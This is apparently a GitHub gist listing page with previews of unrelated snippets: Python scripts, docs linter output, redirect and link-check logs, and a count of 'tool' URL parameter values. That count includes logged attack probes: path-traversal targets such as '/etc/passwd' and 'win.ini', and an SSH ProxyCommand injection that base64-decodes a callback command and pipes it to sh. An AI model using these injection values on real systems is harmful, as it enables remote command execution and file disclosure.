Skip to content

Instantly share code, notes, and snippets.

View peterbe's full-sized avatar

Peter Bengtsson peterbe

View GitHub Profile
9 runs-on
125 working-directory
236 continue-on-error
240 set-output
436 run-name
468 self-hosted
469 timeout-minutes
504 gh-pages
550 fail-fast
584 runner-registration
import csv
import datetime
import zlib
import asyncio
from glob import glob
import aiofiles
CHUNK_SIZE = 1024 * 256 # 256 KB
content/actions/using-workflows/workflow-commands-for-github-actions.md
WARNING
Rule GHD001, code-fence-line-length Code fence lines should not exceed a maximum length
Detail Code fence line exceeds 60 characters.
Line 34 echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
Line 42 Write-Output "::workflow-command parameter1={data},parameter2={data}::{comman…
Line 67 core.error('Missing semicolon', {file: 'app.js', startLine: 1})
Line 78 run: echo "::error file=app.js,line=1::Missing semicolon"
Line 87 run: Write-Output "::error file=app.js,line=1::Missing semicolon"
import csv
from urllib.parse import parse_qs
import sys
from collections import Counter, defaultdict
counter = defaultdict(Counter)
with open(sys.argv[1]) as f:
reader = csv.reader(f)
next(reader)
for uri, code in reader:
KEY: tool
'vscode' 768
'jetbrains' 365
'visualstudio' 214
'vimneovim' 125
'webui' 88
'cli' 75
'/etc/passwd' 73
'x -oProxyCommand=echo bnNsb29rdXArJTdCJTdCaW50ZXJhY3RzaC11cmwlN0QlN0Q=|base64 -d|sh}' 68
'\\WINDOWS\\win.ini' 51
<!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="icon" href="/thehub-16.png" sizes="16x16" type="image/png"/><meta name="viewport" content="width=device-width, initial-scale=1"/><title> The Hub</title><meta name="next-head-count" content="4"/><link rel="preload" href="/_next/static/css/7995dfc4be029ff5.css" as="style"/><link rel="stylesheet" href="/_next/static/css/7995dfc4be029ff5.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-8a554e7582522d66.js" defer=""></script><script src="/_next/static/chunks/framework-5f4595e5518b5600.js" defer=""></script><script src="/_next/static/chunks/main-b89472157adf5c69.js" defer=""></script><script src="/_next/static/chunks/pages/_app-d35d68c765627985.js" defer=""></script><script src="/_next/static/chunks/544-8c94c0f47693ae74.js" defer=""></script><script src="/_next/static/chunks/pages/%5B...slug%5D-c0cfdb3a2dd84a57.js" d
FROM /en/github-ae@latest/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise
301 TO /en/enterprise-cloud@latest/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise
FROM /en/github-ae@latest/admin/github-actions/getting-started-with-github-actions-for-your-enterprise
301 TO /en/enterprise-cloud@latest/admin/github-actions/getting-started-with-github-actions-for-your-enterprise
FROM /en/github-ae@latest/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies
301 TO /en/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies
FROM /en/github-ae@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam
FAIIL docs/support/c2c/code-security/dependency-graph/rebuilding-dependency-graphs.md http://localhost:3000/support/c2c/code-security/dependency-graph/rebuilding-dependency-graphs/
FAIIL docs/support/infrastructure/enterprise-manage/how-to-debug-an-enterprise-license.md http://localhost:3000/support/infrastructure/enterprise-manage/how-to-debug-an-enterprise-license/
2023-09-21 4 days http://localhost:3000/support/infrastructure/appliance-performance-and-capacity/antivirus-products-on-enterprise-server/
2023-09-21 4 days http://localhost:3000/support/ecosystem/rate-limits/api-handbook/secondary/
2023-09-20 5 days http://localhost:3000/support/worktent/connectivity/troubleshooting-connectivity/
2023-09-20 5 days http://localhost:3000/support/worktent/classroom-issues/
2023-09-20 5 days http://localhost:3000/support/infrastructure/certificates/how-to-troubleshoot-ghes-missing-assets-stylesheets/
2023-09-20 5 days http://localhost:3000/support/c2c/actions/general/index/
2023-09-20 5 days http://localhost:3000/su
#!/usr/bin/env python
import sys
import argparse
import re
import subprocess
def main(requirements_in, interactive=False):
required = {}
# This requires at least Python 3.6
import time
import statistics
import random
def f1(seq): # Raymond Hettinger
hash_ = {}
[hash_.__setitem__(x, 1) for x in seq]